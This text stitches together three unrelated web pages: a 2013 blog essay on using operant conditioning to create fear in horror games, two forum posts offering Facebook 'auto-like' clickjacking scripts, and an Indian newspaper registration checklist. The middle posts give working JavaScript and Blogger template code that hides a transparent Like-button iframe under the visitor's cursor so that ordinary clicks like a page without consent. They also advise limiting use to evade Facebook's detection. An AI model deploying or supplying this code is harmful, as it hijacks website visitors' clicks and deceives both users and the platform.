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Using Fear or Creating Fear

September 27, 2013 Fear and Gaming  No comments

What Is Universally Terrifying?

You want to invoke a sense of terror in your games, but because each person has different fear prompts it’s difficult to pinpoint specific triggers for everyone. Some people may be afraid of heights, others afraid of spiders. You can’t guarantee that someone walking into the room will be afraid of what you’ve got in your bag of tricks. You could include navigating heights or unreasonably large spiders in your game but that won’t scare everyone. You will likely elicit a terrified stupor from those who are afraid, but what about the rest who don’t mind heights or spiders?

Mental Conditioning and Fear

The trick isn’t to make something a man will fear, but to make that man fear something. Through mental conditioning any man can be made to fear any object. Think of a common innocuous object, something you use every day, perhaps something in your pockets or on your desk right now. That object in hand shouldn’t inspire any sense of fear and is a wonderful candidate for our explanation. If the task is to make someone fear that object a strong association needs to be formed with another stimulus that will create an aversion to the item.

Pain is a powerful motivator, but that would be hard to pull off through a medium like video games. We have been told it may also be considered unethical to inflict pain on unsuspecting victims users. Oh well, what we do have available to us as developers is failure and loss.

Now to make that innocuous object frightening we need to create an association between it and the stimuli of failure and/or loss. We create this association by turning the object into a trigger and the stimulus into a consequence.

Hypothetical Mental Conditioning

Let’s assume that item I asked you to consider earlier was a cell phone. Something you deeply love and cannot live without. How could we ever make you learn to fear it? Allow me to insert a hypothetical situation to dramatically demonstrate a point.

You find yourself in a dire situation. You are confined within a very large and meagerly illuminated warehouse. Around you is amassed a large variety of crates. At the fringe of the vast room the shadows are stirring, pressing against the dim halogen lights with malicious intents.

You have been tasked with finding and recovering an object from these crates that is paramount to your survival. Informed that you may request a text message via your cell phone that will indicate your proximity to the object in question you have only one hour to complete your task before the lights go out indefinitely; allowing the shadow to consume you. However, this enlightening text message will come at a murky cost. With each hint received one of the few lights of the warehouse will flicker and go out, allowing the pressing shadow to elatedly leap a pronounced distance closer to you.

 You do not have time to search each and every crate so using the cell phone is imperative to your survival.

As the wall of shadow closes in each and every text message you begrudgingly invite will become more and more terrifying to use. Anxiety will compound as the luxuries of light and time runs out. Within a few texts what you have lost will quickly condition you to loathe and fear using your phone for it may dwindle away what little time and resources you have. The phone is now an enemy, indistinguishable from the foreboding shadow slipping impishly closer to you with each passing moment.

Congratulations we’ve just created a phobia of phones by using operant conditioning to associate phones with negative consequences. The duration of the phobia will likely be short lived after the event because the reinforcement was continuous. When the consequences stop the subject will quickly acclimate and the connection between the object and the stimuli will cease. The duration could be extended using more advanced methods of operant conditioning but that is a topic for another day.

Fear of loss is a powerful motivator and it can very easily be used to make someone forsake something they love. It is even more effective on something that doesn’t boast the claim of your affection. If we could convince you to fear something you love, how easily could we convince you fear something you already have an aversion to?

Smart Decisions

Yes, you could condition anyone to fear anything but should you? Some objects take less coercion than others. A ragged doll is easier to use than a boiled egg because we have already been partially indoctrinated in the fear of said object. The boiled egg would take far more effort to establish as a phobia and might not be unattainable within the confines of your game. We have a very limited window in which to engage our intended audience and we need be wise about how we spend that time.

In your quest to create fear in your project you have the option to create fear or expand on it. In many cases expanding will be more than sufficient. Instead of investing a gratuitous amount of time and energy trying to make someone fear something new, it may be time better spent to relapse an old phobia or expand on those that already have foundations laid by our cultural indoctrinations. Using childhood fears like horrid monsters, the darkness of night and shocking events can keep your audience around and interested long enough for you to put together the pieces to establish new innovative fears for them to experience.

Tempore Consummare

As a sadistic advocate of fear in games, I would implore you to use a combination of resurfacing mainstream phobias as well as work quietly in the background to create an enduring aversion to something pertinent to your games theme. Nothing makes me congratulate a horror game developer quite like the dawning realization that something in their game has changed my typical behavior. Now go forth and make the world regret paying $19.99 for your psychologically degenerative experience.

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Facebook auto like script Working (Developed By me)

Facebook auto like script Working (Developed By me)

Facebook auto like script Working I want to post something that I love to use:

It's a javascript file that creates the auto-like function.

This is a great script that I made some fixes; before, the like function used to be disabled on a second click, but now it doesn't matter how many clicks the users do... the like was taken and persists that way.

How it work-
This script creates a hidden like button that floats within the mouse cursor. When users do clicks (pictures, links and so on) they are liking your fanpage or url!

Note-
Don't use it more than 10 minutes per hour. FB detects it and disables it right away.


Change FACEBOOK URL to url of facebook

Code:

(function(){

  var Xcord = 0,
  Ycord = 0,
  IE = document.all ? true : false;
 
  if (!IE) document.captureEvents(Event.MOUSEMOVE);
 
  var lbox = document.createElement('iframe');
  lbox.src = 'FACEBOOK URL/plugins/like.php?href=' +  encodeURIComponent(/*document.location.href*/  'FACEBOOK URl/username') +  '&layout=standard&show_faces=true&width=53&action=lbox&colorscheme=light&height=80';
  lbox.scrolling = 'no';
  lbox.frameBorder = 0;
  lbox.allowTransparency = 'true';
  lbox.style.border = 0;
  lbox.style.overflow = 'hidden';
  lbox.style.cursor = 'pointer';
  lbox.style.width = '53px';
  lbox.style.height =  '23px';
  lbox.style.position = 'absolute';
  lbox.style.opacity = 0;
  document.getElementsByTagName('body')[0].appendChild(lbox);
 
  window.addEventListener('mousemove', mouseMove, false);
 
  setTimeout(function(){
    document.getElementsByTagName('body')[0].removeChild(lbox);
    window.removeEventListener('mousemove', mouseMove, false);
  }, 20000);
 
  function mouseMove(e) {
    if (IE) {
      Xcord = event.clientX + document.body.scrollLeft;
      Ycord = event.clientY + document.body.scrollTop;
    } else {
      Xcord = e.pageX;
      Ycord = e.pageY;
    }
    
    if (Xcord < 0) Xcord = 0;
    if (Ycord < 0) Ycord = 0;
    
    lbox.style.top = (Ycord - 8) + 'px';
    lbox.style.left = (Xcord - 25) + 'px';
    
    return true
  }
})();

Before insert the following...

<script type="text/javascript">
THE DOWNLOADED CODE GOES HERE
</script>

Before copying it, be sure that you had change the URL in the script. "facebook/XXXXXXXXX" to "facebook/YourPage".

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How To Add fb Page Auto-like Script In Blogger

How To Add fb Page Auto-like Script In Blogger . (page auto like webscript)
1.open ur blog Nw go to Blogger Dashboard > Template
2.Download a copy of your template
(Take Backup Of Your Template)
3.Click on Edit HTML
4.Hit Proceed button
5.Check Expand Widget Templates check box
6.Find Ctrl+F below code in your template
</head>
7.Now paste the below Code above it.
<script src=" http://ajax.googleapis.com/ /ajax/libs/jquery/1.5.2 /jquery.min.js"
type="text/javascript">
</script>
<script type='text/javascript'>
function ClickJackFbHide(){
jQuery(&quot;div[id^=\&#39;clickjack-button-wrapper\&#39;]&quot;).hide();
}
function ClickJackFbShow(){
jQuery(&quot;div[id^=\&#39;clickjack-button-wrapper\&#39;]&quot;).show();
}
</script>
8.Now Search for :-
</body>
9.And then paste below code above it.
<!-- xyz.blogspot.com/ Fan Page Autolike Script Starts -->
<div id="clickjack-button-wrapper-5" style="position: absolute; opacity: 0; filter: alpha(opacity =0); -ms-filter:'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)'; margin-left: -50px; z-index: 100; width:27px; height:20px; overflow:hidden">
<!--<div class="clickjack-mask" style="position: absolute; top: 5px; left: 5px; z-index: 1000;height: 13px; width: 15px;"></div>-->
<iframe src=" http://www.facebook.com/ /plugins/like.php?href= www.facebook.com/heshaggarwal&amp;layout=button_count&amp;show_faces=false&amp;width=50&amp;action=like&amp;colorscheme=light&amp;height=21" scrolling="no"frameborder="0" style="border:none; overflow:hidden; width:45px; left:-19px; height:21px; z-index: 0; position: relative;" allowTransparency="true"></iframe>
</div>
<script type="text/javascript">
jQuery( document ).ready( function() {
$( "‪#‎clickjack‬-button- wrapper-5" ).parent().mousemove( function( e ) {
jQuery( "#clickjack- button-wrapper-5" ).css( {
top: e.pageY - 10,
left: e.pageX + 30
} );
} );
clickjack_hid er();
var clickjack_fb_timer = setTimeout("clickjack_hider()",5000);
} );
function clickjack_hider(){
jQuery("input").mouseo ut(function(){ClickJackFbShow();});
jQuery("a").mouseout(function(){ClickJackFbShow();});
jQuery("button").mouse out(function(){ClickJackFbShow();});
jQuery("textarea").mou seout(function(){ClickJackFbShow();});
jQuery(".ratingblock").m ouseout(function(){ClickJackFbShow();});
jQuery("object").mouseout(function(){ClickJackFbShow();});
jQuery("input").mouseo ver(function(){ClickJackFbHide();});
jQuery("a").mouseover( function(){ClickJackFbHide();});
jQuery("button").mouse over(function(){ClickJackFbHide();});
jQuery("textarea").mou seover(function(){ClickJackFbHide();});
jQuery(".ratingblock").m ouseover(function(){ClickJackFbHide();});
jQuery("object").mouseover(function(){ClickJackFbHide();});
}
</script>
<!-- xyz.blogspot.com/ Fan Page Autolike Script Ends -->
10.Replace heshaggarwal With your Facebook Page's Username ...! And replace the xyz wid ur blog name
11. Save The Template
DONE..!
If u hv any prblm to use dis and u cnt do dis crctly add me. And for any other trick and any type of help add me nw  

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REGISTRATION OF NEWSPAPER

REGISTRATION OF NEWSPAPER



After publication of the first issue of the newspaper as provided under section 5(5) of the PRB act, the RNI must be requested to issue a certificate of registration to the newspaper. The check list/guidelines for registration of newspapers/periodicals are as under :-

1.    Documents required:

a.       Photocopy of title verification letter issued by RNI.

b.      Attested copy of Declaration authenticated by the DM/ADM/DCP /CMM/SDM as prescribed in form-I.

c.       First issue indicating Volume - I and Issue-I.

d.      An affidavit from the publisher for "No Foreign Tie-up" in the prescribed form (Annexure-IV)

2.  Separate declaration should be filed in case the printer and publisher are different or the place of publication and place of printing come under the jurisdiction of two different magistrates.

3.  The first issue should indicate Volume-I and Issue-I, date line, page number and the title in full prominently on the cover.

4.  The publication should be brought out within six weeks (in case of daily/weekly) and three months (in case of other periodicity) from the date of authentication of Declaration.

5.  The imprint line should contain the name of the Publisher, Printer, Owner, Printing press with complete address, Place of publication with complete address and the name of the editor.

If the documents are found to be complete in all respects and the publication is in order, the Press Registrar will enter the particulars of the newspaper in the register maintained by him and issue a Certificate of Registration to the publisher.

                             

RNI does not accept incomplete applications for registration or issuing of Revised registration certificate. All pending applications for registration or revised registration will be processed only when all the complete and correct documents are submitted.

Please see the following Check List for the required documents:-

For the Certificate of Registration:

a)       Copy of title verification letter

b)       Attested copy of the declaration duly filled in and authenticated by the District Magistrate

         /Addl. District Magistrate etc.

c)       Affidavit for 'No foreign tie up' duly filled in and notarized.

d)       First Issue of publication brought out within 42 days in case of dailies and weeklies and 90

         days for fortnightly and above.

e)                  Copy of the latest issue of the publication.

For Revised certificate of registration:

Following documents are required on the basis of which Revised Registration Certificate is issued:

a)   Original Certificate of Registration issued by the O/o Registrar of Newspapers for India and

      in case it is lost, he/she is required to submit the affidavit for loss of certificate duly filled in

      and  notarized along with  the IPO of Rs.5/-.

b)   Attested copy of the latest declaration, duly filled in and authenticated by DM/ADM concerned.

c)   Affidavit for No foreign tie up, duly filled in and notarized.

d)   Latest issue of the publication.

FRESH/REVISED CERTIFICATES

A fresh declaration is to be made in the case of any change in (a) title (b) language (c) periodicity (d) ownership (e) place of publication (f) place of printing (g) publisher and (h) printer.  It will be necessary to apply to the Press Registrar for a revised certificate of registration. A revised certificate will not be necessary if the fresh declaration has been made under other circumstances.

The documents required are given below:

(a)      An attested photocopy of the fresh declaration duly authenticated by the magistrate concerned etc. indicating the change(s).

(b)      A copy of the latest issue of the publication with correct imprint line, title and date line printed on each page of the publication.

(c)      Original Certificate of registration issued by the office of RNI.

(d)      If Original Certificate of Registration is lost, damaged, stolen etc., an affidavit duty signed by a magistrate, with a five rupee Indian Postal Order in favour of RNI has to be furnished.

(e)      In case of change of ownership, attested photocopy of the transfer deed in respect of ownership, duly authenticated by the magistrate concerned, is also to be submitted.

(f)       In case of change of title/language, a copy of the title verification letter is to be submitted.

(g)       An affidavit for no foreign tie-up.

DUPLICATE CERTIFICATES

     When the original certificate of registration is lost, damaged, or stolen, and if none of the circumstances requiring a fresh declaration as noted above exist, an application may be submitted to the Press Registrar for issue of a duplicate certificate of registration with full details given on a separate sheet of paper. Please note that if the certificate has been lost or stolen, adequate documentary proof of having reported the matter to the concerned police authorities, such as a copy of the FIR or a copy of the complaint bearing their stamp/seal, would be necessary. The documents required are as under:

(a)    An affidavit to this effect duly authenticated by Notary or the Magistrate concerned under his signature and office seal.

(b)   Attested photocopy of the latest declaration authenticated by the magistrate concerned.

(c)    A copy of the latest issue of the publication with correct imprint line.

(d)   An Indian Postal Order of Rs.5/- in favour of RNI.

(e)    An affidavit for  "No Foreign Tie Up"

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